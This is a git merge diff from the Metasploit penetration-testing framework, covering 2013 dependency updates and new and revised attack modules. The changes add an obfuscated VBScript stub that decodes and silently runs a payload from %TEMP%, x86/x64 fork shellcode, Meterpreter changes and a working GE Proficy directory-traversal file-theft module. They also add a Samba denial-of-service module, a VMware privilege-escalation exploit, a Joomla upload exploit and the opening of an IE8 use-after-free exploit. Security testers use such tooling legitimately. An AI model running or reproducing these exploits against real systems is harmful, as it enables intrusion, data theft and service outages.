Merge branch 'master' into spike/exe_generation

bug/bundler_fix
David Maloney 2013-09-12 12:36:10 -05:00
commit e80cda4ace
43 changed files with 1577 additions and 211 deletions

View File

@ -41,7 +41,7 @@ group :development, :test do
# 'FactoryGirl.' in factory definitions syntax.
gem 'factory_girl', '>= 4.1.0'
# running documentation generation tasks and rspec tasks
gem 'rake'
gem 'rake', '>= 10.0.0'
end
group :test do
@ -51,11 +51,10 @@ group :test do
gem 'database_cleaner'
# testing framework
gem 'rspec', '>= 2.12'
# add matchers from shoulda, such as query_the_database, which is useful for
# testing that the Msf::DBManager activation is respected.
gem 'shoulda-matchers'
# code coverage for tests
# any version newer than 0.5.4 gives an Encoding error when trying to read the source files.
# see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0)
gem 'simplecov', '0.5.4', :require => false
# Manipulate Time.now in specs
gem 'timecop'

View File

@ -1,62 +1,58 @@
GEM
remote: http://rubygems.org/
specs:
activemodel (3.2.13)
activesupport (= 3.2.13)
activemodel (3.2.14)
activesupport (= 3.2.14)
builder (~> 3.0.0)
activerecord (3.2.13)
activemodel (= 3.2.13)
activesupport (= 3.2.13)
activerecord (3.2.14)
activemodel (= 3.2.14)
activesupport (= 3.2.14)
arel (~> 3.0.2)
tzinfo (~> 0.3.29)
activesupport (3.2.13)
i18n (= 0.6.1)
activesupport (3.2.14)
i18n (~> 0.6, >= 0.6.4)
multi_json (~> 1.0)
arel (3.0.2)
bourne (1.4.0)
mocha (~> 0.13.2)
builder (3.0.4)
database_cleaner (0.9.1)
diff-lcs (1.2.2)
database_cleaner (1.1.1)
diff-lcs (1.2.4)
factory_girl (4.2.0)
activesupport (>= 3.0.0)
i18n (0.6.1)
json (1.7.7)
metaclass (0.0.1)
i18n (0.6.5)
json (1.8.0)
metasploit_data_models (0.16.6)
activerecord (>= 3.2.13)
activesupport
pg
mocha (0.13.3)
metaclass (~> 0.0.1)
msgpack (0.5.4)
mini_portile (0.5.1)
msgpack (0.5.5)
multi_json (1.0.4)
network_interface (0.0.1)
nokogiri (1.5.9)
nokogiri (1.6.0)
mini_portile (~> 0.5.0)
packetfu (1.1.8)
pcaprub (0.11.3)
pg (0.15.1)
rake (10.0.4)
redcarpet (2.2.2)
pg (0.16.0)
rake (10.1.0)
redcarpet (3.0.0)
robots (0.10.1)
rspec (2.13.0)
rspec-core (~> 2.13.0)
rspec-expectations (~> 2.13.0)
rspec-mocks (~> 2.13.0)
rspec-core (2.13.1)
rspec-expectations (2.13.0)
rspec (2.14.1)
rspec-core (~> 2.14.0)
rspec-expectations (~> 2.14.0)
rspec-mocks (~> 2.14.0)
rspec-core (2.14.5)
rspec-expectations (2.14.2)
diff-lcs (>= 1.1.3, < 2.0)
rspec-mocks (2.13.0)
shoulda-matchers (1.5.2)
rspec-mocks (2.14.3)
shoulda-matchers (2.3.0)
activesupport (>= 3.0.0)
bourne (~> 1.3)
simplecov (0.5.4)
multi_json (~> 1.0.3)
simplecov-html (~> 0.5.3)
simplecov-html (0.5.3)
timecop (0.6.1)
timecop (0.6.3)
tzinfo (0.3.37)
yard (0.8.5.2)
yard (0.8.7)
PLATFORMS
ruby
@ -74,7 +70,7 @@ DEPENDENCIES
packetfu (= 1.1.8)
pcaprub
pg (>= 0.11)
rake
rake (>= 10.0.0)
redcarpet
robots
rspec (>= 2.12)

View File

@ -9,8 +9,8 @@ Code Style
In order to maintain consistency and readability, we ask that you
adhere to the following style guidelines:
- Hard tabs, not spaces
- Try to keep your lines under 100 columns (assuming four-space tabs)
- Standard Ruby two-space soft tabs, not hard tabs.
- Try to keep your lines under 100 columns (assuming two-space tabs)
- do; end instead of {} for a block
- Always use str[0,1] instead of str[0]
(This avoids a known ruby 1.8/1.9 incompatibility.)

View File

@ -0,0 +1,49 @@
echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub
echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub
echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub
echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub
echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub
echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub
echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub
echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub
echo Set wshShell = CreateObject(scriptShell) >>decode_stub
echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub
echo Set fs = CreateObject(scriptingFS) >>decode_stub
echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub
echo If file.Size Then >>decode_stub
echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub
echo data = fd.ReadAll >>decode_stub
echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub
echo data = Replace(data, vbCrLf, nil) >>decode_stub
echo data = base64_decode(data) >>decode_stub
echo fd.Close >>decode_stub
echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub
echo ofs.Write data >>decode_stub
echo ofs.close >>decode_stub
echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub
echo Else >>decode_stub
echo Wscript.Echo emptyString >>decode_stub
echo End If >>decode_stub
echo Function base64_decode(byVal strIn) >>decode_stub
echo Dim w1, w2, w3, w4, n, strOut >>decode_stub
echo For n = 1 To Len(strIn) Step 4 >>decode_stub
echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub
echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub
echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub
echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub
echo If Not w2 Then _ >>decode_stub
echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub
echo If Not w3 Then _ >>decode_stub
echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub
echo If Not w4 Then _ >>decode_stub
echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub
echo Next >>decode_stub
echo base64_decode = strOut >>decode_stub
echo End Function >>decode_stub
echo Function mimedecode(byVal strIn) >>decode_stub
echo If Len(strIn) = 0 Then >>decode_stub
echo mimedecode = -1 : Exit Function >>decode_stub
echo Else >>decode_stub
echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub
echo End If >>decode_stub
echo End Function >>decode_stub

View File

@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response):
@meterpreter.register_function
def stdapi_fs_file_expand_path(request, response):
path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
if path_tlv == '%COMSPEC%':
if platform.system() == 'Windows':
result = 'cmd.exe'
else:
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows':
if has_windll:
path_out = (ctypes.c_char * 4096)()
path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out))
result = ''.join(path_out)[:path_out_len]
elif path_tlv == '%COMSPEC%':
result = '/bin/sh'
elif path_tlv in ['%TEMP%', '%TMP%']:
result = '/tmp'
else:
result = os.getenv(path_tlv)
result = os.getenv(path_tlv, path_tlv)
if not result:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_FILE_PATH, result)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_file_move(request, response):
oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value']
newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
os.rename(oldname, newname)
return ERROR_SUCCESS, response
@meterpreter.register_function
def stdapi_fs_getwd(request, response):
response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd())
@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response):
m = hashlib.md5()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function
@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response):
m = hashlib.sha1()
path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value']
m.update(open(path, 'rb').read())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest())
response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest())
return ERROR_SUCCESS, response
@meterpreter.register_function

View File

@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread):
self.data_lock.acquire()
self.data += byte
self.data_lock.release()
data = self.std.read()
self.data_lock.acquire()
self.data += self.std.read()
self.data += data
self.data_lock.release()
def is_read_ready(self):
@ -208,7 +209,7 @@ class PythonMeterpreter(object):
def run(self):
while self.running:
if len(select.select([self.socket], [], [], 0)[0]):
if len(select.select([self.socket], [], [], 0.5)[0]):
request = self.socket.recv(8)
if len(request) != 8:
break
@ -391,13 +392,17 @@ class PythonMeterpreter(object):
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
if method_tlv['value'] in self.extension_functions:
handler = self.extension_functions[method_tlv['value']]
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
#print("[*] running method {0}".format(handler_name))
result, resp = handler(request, resp)
except Exception, err:
#print("[-] method {0} resulted in an error".format(handler_name))
result = ERROR_FAILURE
else:
#print("[-] method {0} was requested but does not exist".format(handler_name))
result = ERROR_FAILURE
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp

View File

@ -93,8 +93,6 @@ module Auxiliary::AuthBrute
next if @@credentials_skipped[fq_user]
next if @@credentials_tried[fq_user] == p
datastore['USERNAME'] = u.to_s
datastore['PASSWORD'] = p.to_s
ret = block.call(u, p)
case ret

View File

@ -128,10 +128,10 @@ module Auxiliary::Login
false
end
def password_prompt?
def password_prompt?(username=nil)
return true if(@recvd =~ @password_regex)
if datastore['USERNAME']
return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/)
if username
return true if( !(username.empty?) and @recvd =~ /#{username}'s/)
end
return false
end

View File

@ -20,10 +20,16 @@ module Exploit::FileDropper
# @return [void]
#
def on_new_session(session)
super
if session.type == "meterpreter"
session.core.use("stdapi") unless session.ext.aliases.include?("stdapi")
end
if not @dropped_files or @dropped_files.empty?
return true
end
@dropped_files.delete_if do |file|
win_file = file.gsub("/", "\\\\")
if session.type == "meterpreter"
@ -58,8 +64,6 @@ module Exploit::FileDropper
true
end
end
super
end
#

View File

@ -19,6 +19,13 @@ module Msf::Payload::Linux
register_advanced_options(
[
Msf::OptBool.new('PrependFork',
[
false,
"Prepend a stub that executes: if (fork()) { exit(0); }",
"false"
]
),
Msf::OptBool.new('PrependSetresuid',
[
false,
@ -97,6 +104,17 @@ module Msf::Payload::Linux
# Prepend
if (datastore['PrependFork'])
pre << "\x6a\x02" +# pushb $0x2 #
"\x58" +# popl %eax #
"\xcd\x80" +# int $0x80 ; fork #
"\x85\xc0" +# test %eax,%eax #
"\x74\x06" +# jz 0xf #
"\x31\xc0" +# xor %eax,%eax #
"\xb0\x01" +# movb $0x1,%al ; exit #
"\xcd\x80" # int $0x80 #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
pre << "\x31\xc9" +# xorl %ecx,%ecx #
@ -197,10 +215,8 @@ module Msf::Payload::Linux
"\xcd\x80" # int $0x80 #
end
end
# Handle all Power/CBEA code here
if (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
elsif (test_arch.include?([ ARCH_PPC, ARCH_PPC64, ARCH_CBEA, ARCH_CBEA64 ]))
# Prepend
@ -277,9 +293,21 @@ module Msf::Payload::Linux
"\x38\x1f\xfe\x02" +# addi r0,r31,-510 #
"\x44\xff\xff\x02" # sc #
end
end
if (test_arch.include?(ARCH_X86_64))
elsif (test_arch.include?(ARCH_X86_64))
if (datastore['PrependFork'])
# if (fork()) { exit(0); }
pre << "\x6a\x39" # push 57 ; __NR_fork #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
pre << "\x48\x85\xc0" # test rax,rax #
pre << "\x74\x08" # jz 0x08 #
pre << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 60 ; __NR_exit #
pre << "\x58" # pop rax #
pre << "\x0f\x05" # syscall #
end
if (datastore['PrependSetresuid'])
# setresuid(0, 0, 0)
@ -389,8 +417,8 @@ module Msf::Payload::Linux
# Append exit(0)
if (datastore['AppendExit'])
app << "\x48\x31\xff" # xor rdi,rdi #
pre << "\x6a\x3c" # push 0x53 #
pre << "\x58" # pop rax #
app << "\x6a\x3c" # push 0x3c #
app << "\x58" # pop rax #
app << "\x0f\x05" # syscall #
end
end

View File

@ -177,6 +177,71 @@ module Accounts
:integrity_label
][enum_value - 1]
end
# Gets an impersonation token from the primary token.
#
# @return [Fixnum] the impersonate token handle identifier if success, nil if
# fails
def get_imperstoken
adv = session.railgun.advapi32
tok_all = "TOKEN_ASSIGN_PRIMARY |TOKEN_DUPLICATE | TOKEN_IMPERSONATE | TOKEN_QUERY | "
tok_all << "TOKEN_QUERY_SOURCE | TOKEN_ADJUST_PRIVILEGES | TOKEN_ADJUST_GROUPS"
tok_all << " | TOKEN_ADJUST_DEFAULT"
pid = session.sys.process.open.pid
pr = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
pt = adv.OpenProcessToken(pr.handle, tok_all, 4) #get handle to primary token
it = adv.DuplicateToken(pt["TokenHandle"],2, 4) # get an impersonation token
if it["return"] #if it fails return 0 for error handling
return it["DuplicateTokenHandle"]
else
return nil
end
end
# Gets the permissions granted from the Security Descriptor of a directory
# to an access token.
#
# @param [String] dir the directory path
# @param [Fixnum] token the access token
# @return [String, nil] a String describing the permissions or nil
def check_dir_perms(dir, token)
adv = session.railgun.advapi32
si = "OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION"
result = ""
#define generic mapping structure
gen_map = [0,0,0,0]
gen_map = gen_map.pack("L")
buffer_size = 500
#get Security Descriptor for the directory
f = adv.GetFileSecurityA(dir, si, buffer_size, buffer_size, 4)
if (f['return'] and f["lpnLengthNeeded"] <= buffer_size)
sd = f["pSecurityDescriptor"]
elsif (f['GetLastError'] == 122) # ERROR_INSUFFICIENT_BUFFER
f = adv.GetFileSecurityA(dir, si, f["lpnLengthNeeded"], f["lpnLengthNeeded"], 4)
elsif (f['GetLastError'] == 2)
vprint_error("The system cannot find the file specified: #{dir}")
return nil
else
vprint_error("Unknown error - GetLastError #{f['GetLastError']}: #{dir}")
return nil
end
#check for write access, called once to get buffer size
a = adv.AccessCheck(sd, token, "ACCESS_READ | ACCESS_WRITE", gen_map, 0, 0, 4, 8)
len = a["PrivilegeSetLength"]
r = adv.AccessCheck(sd, token, "ACCESS_READ", gen_map, len, len, 4, 8)
if !r["return"] then return nil end
if r["GrantedAccess"] > 0 then result << "R" end
w = adv.AccessCheck(sd, token, "ACCESS_WRITE", gen_map, len, len, 4, 8)
if !w["return"] then return nil end
if w["GrantedAccess"] > 0 then result << "W" end
end
end # Accounts
end # Windows
end # Post

View File

@ -0,0 +1,145 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'uri'
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'GE Proficy Cimplicity WebView substitute.bcl Directory Traversal',
'Description' => %q{
This module abuses a directory traversal in GE Proficy Cimplicity, specifically on the
gefebt.exe component used by the WebView, in order to retrieve arbitrary files with SYSTEM
privileges. This module has been tested successfully on GE Proficy Cimplicity 7.5.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'CVE', '2013-0653' ],
[ 'OSVDB', '89490' ],
[ 'BID', '57505' ],
[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-13-022-02' ]
],
'DisclosureDate' => 'Jan 22 2013'))
register_options(
[
Opt::RPORT(80),
OptString.new('TARGETURI',[true, 'Path to CimWeb', '/CimWeb']),
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
# By default gefebt.exe installed on C:\Program Files\GE Fanuc\Proficy CIMPLICITY\WebPages\CimWeb
OptInt.new('DEPTH', [true, 'Traversal depth', 5])
], self.class)
end
def normalize_uri(*strs)
new_str = strs * "/"
new_str = new_str.gsub!("//", "/") while new_str.index("//")
# Makes sure there's a starting slash
unless new_str[0,1] == '/'
new_str = '/' + new_str
end
new_str
end
def target_uri
begin
# In case TARGETURI is empty, at least we default to '/'
u = datastore['TARGETURI']
u = "/" if u.nil? or u.empty?
URI(u)
rescue ::URI::InvalidURIError
print_error "Invalid URI: #{datastore['TARGETURI'].inspect}"
raise Msf::OptionValidateError.new(['TARGETURI'])
end
end
def my_basename(filename)
return ::File.basename(filename.gsub(/\\/, "/"))
end
def is_proficy?
connect
req = "GET #{normalize_uri(target_uri.path, "index.html")} HTTP/1.0\r\n\r\n"
sock.put(req)
res = sock.get_once
disconnect
if res and res =~ /gefebt\.exe/
return true
else
return false
end
end
# We can't use the http client msf mixin because the Proficy Web server
# return a malformed HTTP response with the file contents, there aren't
# two new lines (but one) between the HTTP headers and the body content.
def read_file(file)
travs = ""
travs << "../" * datastore['DEPTH']
travs << file
print_status("#{@peer} - Retrieving file contents...")
connect
req = "GET #{normalize_uri(target_uri.path, "gefebt.exe")}?substitute.bcl+FILE=#{travs} HTTP/1.0\r\n\r\n"
sock.put(req)
res = sock.get_once
disconnect
if res and res =~ /HTTP\/1\.0 200 OK/
return res
else
return nil
end
end
def run
@peer = "#{rhost}:#{rport}"
print_status("#{@peer} - Checking if it's a GE Proficy Application...")
if is_proficy?
print_good("#{@peer} - Check successful")
else
print_error("#{@peer} - GE proficy not found")
return
end
contents = read_file(datastore['FILEPATH'])
if contents.nil?
print_error("#{@peer} - File not downloaded")
return
end
file_name = my_basename(datastore['FILEPATH'])
path = store_loot(
'ge.proficy.traversal',
'application/octet-stream',
rhost,
contents,
file_name
)
print_good("#{rhost}:#{rport} - File saved in: #{path}")
end
end

View File

@ -0,0 +1,128 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex/struct2'
require 'rex/proto/smb'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::DCERPC
include Msf::Exploit::Remote::SMB::Authenticated
TRANS2_PARAM = Rex::Struct2::CStructTemplate.new(
[ 'uint16v', 'FID', 0 ],
[ 'uint16v', 'InfoLevel', 0 ],
[ 'uint16v', 'Reserved', 0 ],
)
FEA_LIST = Rex::Struct2::CStructTemplate.new(
[ 'uint32v', 'NextOffset', 0 ],
[ 'uint8', 'Flags', 0 ],
[ 'uint8', 'NameLen', 0 ],
[ 'uint16v', 'ValueLen', 0 ],
[ 'string', 'Name', nil, '' ],
[ 'string', 'Value', nil, '' ]
)
def initialize(info = {})
super(update_info(info,
'Name' => 'Samba read_nttrans_ea_list Integer Overflow',
'Description' => %q{
Integer overflow in the read_nttrans_ea_list function in nttrans.c in
smbd in Samba 3.x before 3.5.22, 3.6.x before 3.6.17, and 4.x before
4.0.8 allows remote attackers to cause a denial of service (memory
consumption) via a malformed packet. Important Note: in order to work
the "ea support" option on the target share must be enabled.
},
'Author' =>
[
'Jeremy Allison', # Vulnerability discovery
'dz_lnly' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['OSVDB', '95969'],
['BID', '61597'],
['EDB', '27778'],
['CVE', '2013-4124']
],
))
register_options(
[
OptString.new('SMBShare', [true, 'Target share', '']),
OptInt.new('MsgLen', [true, 'How soon a memory get exhausted depends on the length of that attribute', 1500]),
OptInt.new('Tries', [true, 'Number of DOS tries', 40]),
], self.class)
end
def get_fid
ok = self.simple.client.create("/")
return ok['Payload'].v['FileID']
end
def mk_items_payload
item1 = FEA_LIST.make_struct
item1.v['ValueLen'] = datastore['MsgLen']
item1.v['Value'] = "\x00" * datastore['MsgLen']
item1.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
item1.v['NameLen'] = item1.v['Name'].length
item2 = FEA_LIST.make_struct
item2.v['ValueLen'] = datastore['MsgLen']
item2.v['Value'] = "\x00" * datastore['MsgLen']
item2.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
item2.v['NameLen'] = item1.v['Name'].length
item3 = FEA_LIST.make_struct # Some padding
item3.v['ValueLen'] = 4
item3.v['Value'] = "\x00\x00\x00\x00"
item3.v['Name'] = Rex::Text.rand_text_alpha(5 + rand(3)) + "\x00"
item3.v['NameLen'] = item1.v['Name'].length
ilen = item1.to_s.length
item1.v['NextOffset'] = ilen
# Wrap offset to 0x00
item2.v['NextOffset'] = 0xffffffff - ilen + 1
return item1.to_s + item2.to_s + item3.to_s
end
def send_pkt
fid = get_fid
trans = TRANS2_PARAM.make_struct
trans.v['FID'] = fid
trans.v['InfoLevel'] = 1015 # SMB_FILE_FULL_EA_INFORMATION
data = mk_items_payload
subcmd = 0x08
self.simple.client.trans2(subcmd, trans.to_s, data.to_s, false)
end
def run
print_status("Trying a max of #{datastore['Tries']} times...")
datastore['Tries'].times do
connect()
smb_login()
self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
print_status('Sending malicious package...')
send_pkt
begin
self.simple.client.create("")
print_status('Server Answered, DoS unsuccessful')
rescue Timeout::Error
print_good('Server timed out, this is expected')
return
rescue Rex::Proto::SMB::Exceptions::InvalidType
print_status('Server Answered, DoS unsuccessful')
end
disconnect()
end
end
end

View File

@ -264,7 +264,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
# Not successful yet, maybe we got a password prompt.
if password_prompt?
if password_prompt?(user)
send_pass(pass)
# Allow for slow echos

View File

@ -371,7 +371,7 @@ class Metasploit3 < Msf::Auxiliary
:proto => 'tcp',
:port => rport,
:type => 'smb.shares',
:data => { :shares => shares.inspect },
:data => { :shares => shares },
:update => :unique_data
)

View File

@ -169,7 +169,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{rhost}:#{rport} Prompt: #{@recvd.gsub(/[\r\n\e\b\a]/, ' ')}")
if password_prompt?
if password_prompt?(user)
send_pass(pass)
# Allow for slow echos

View File

@ -43,6 +43,7 @@ class Metasploit4 < Msf::Exploit::Local
'DefaultOptions' => {
"PrependSetresuid" => true,
"PrependSetresgid" => true,
"PrependFork" => true,
},
'Privileged' => true,
'DefaultTarget' => 0,
@ -56,8 +57,6 @@ class Metasploit4 < Msf::Exploit::Local
'DisclosureDate' => "Aug 22 2013"
}
))
# Handled by ghetto hardcoding below.
deregister_options("PrependFork")
end
def check
@ -73,22 +72,7 @@ class Metasploit4 < Msf::Exploit::Local
fail_with(Failure::NotVulnerable, "vmware-mount doesn't exist or is not setuid")
end
# Ghetto PrependFork action which is apparently only implemented for
# Meterpreter.
# XXX Put this in a mixin somewhere
# if(fork()) exit(0);
# 6A02 push byte +0x2
# 58 pop eax
# CD80 int 0x80 ; fork
# 85C0 test eax,eax
# 7406 jz 0xf
# 31C0 xor eax,eax
# B001 mov al,0x1
# CD80 int 0x80 ; exit
exe = generate_payload_exe(
:code => "\x6a\x02\x58\xcd\x80\x85\xc0\x74\x06\x31\xc0\xb0\x01\xcd\x80" + payload.encoded
)
write_file("lsb_release", exe)
write_file("lsb_release", generate_payload_exe)
cmd_exec("chmod +x lsb_release")
cmd_exec("PATH=.:$PATH /usr/bin/vmware-mount")

View File

@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote
'Arch' => ARCH_PHP,
'Targets' =>
[
[ 'Joomla 2.5.x <=2.5.13', {} ]
[ 'Joomla 2.5.x <=2.5.13 / Joomla 3.x <=3.1.4', {} ]
],
'Privileged' => false,
'DisclosureDate' => "Aug 01 2013",
@ -72,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote
def check
res = get_upload_form
if res and res.code == 200
if res and (res.code == 200 or res.code == 302)
if res.body =~ /You are not authorised to view this resource/
print_status("#{peer} - Joomla Media Manager Found but authentication required")
return Exploit::CheckCode::Detected
@ -124,7 +124,6 @@ class Metasploit3 < Msf::Exploit::Remote
'vars_get' => {
'option' => 'com_media',
'view' => 'images',
'tmpl' => 'component',
'e_name' => 'jform_articletext',
'asset' => 'com_content',
'author' => ''
@ -182,7 +181,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Checking Access to Media Component...")
res = get_upload_form
if res and res.code == 200 and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
if res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /You are not authorised to view this resource/
print_status("#{peer} - Authentication required... Proceeding...")
if @username.empty? or @password.empty?
@ -192,7 +191,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Accessing the Login Form...")
res = get_login_form
if res.nil? or res.code != 200 or res.body !~ /login/
if res.nil? or (res.code != 200 and res.code != 302) or res.body !~ /login/
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Login Form")
end
parse_login_options(res.body)
@ -201,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote
if not res or res.code != 303
fail_with(Failure::NoAccess, "#{peer} - Unable to Authenticate")
end
elsif res and res.code ==200 and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
elsif res and (res.code == 200 or res.code == 302) and res.headers['Set-Cookie'] and res.body =~ /<form action="(.*)" id="uploadForm"/
print_status("#{peer} - Authentication isn't required.... Proceeding...")
@cookies = res.get_cookies.sub(/;$/, "")
else
@ -211,7 +210,7 @@ class Metasploit3 < Msf::Exploit::Remote
print_status("#{peer} - Accessing the Upload Form...")
res = get_upload_form
if res and res.code == 200 and res.body =~ /<form action="(.*)" id="uploadForm"/
if res and (res.code == 200 or res.code == 302) and res.body =~ /<form action="(.*)" id="uploadForm"/
upload_uri = Rex::Text.html_decode($1)
else
fail_with(Failure::Unknown, "#{peer} - Unable to Access the Upload Form")

View File

@ -0,0 +1,259 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info={})
super(update_info(info,
'Name' => "MS13-055 Microsoft Internet Explorer CAnchorElement Use-After-Free",
'Description' => %q{
In IE8 standards mode, it's possible to cause a use-after-free condition by first
creating an illogical table tree, where a CPhraseElement comes after CTableRow,
with the final node being a sub table element. When the CPhraseElement's outer
content is reset by using either outerText or outerHTML through an event handler,
this triggers a free of its child element (in this case, a CAnchorElement, but
some other objects apply too), but a reference is still kept in function
SRunPointer::SpanQualifier. This function will then pass on the invalid reference
to the next functions, eventually used in mshtml!CElement::Doc when it's trying to
make a call to the object's SecurityContext virtual function at offset +0x70, which
results a crash. An attacker can take advantage of this by first creating an
CAnchorElement object, let it free, and then replace the freed memory with another
fake object. Successfully doing so may allow arbitrary code execution under the
context of the user.
This bug is specific to Internet Explorer 8 only. It was originally discovered by
Orange Tsai at Hitcon 2013, but was silently patched in the July 2013 update.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Orange Tsai', # Original discovery, PoC
'Peter Vreugdenhil', # Joins the party (wtfuzz)
'sinn3r' # Joins the party
],
'References' =>
[
[ 'MSB', 'MS13-055' ],
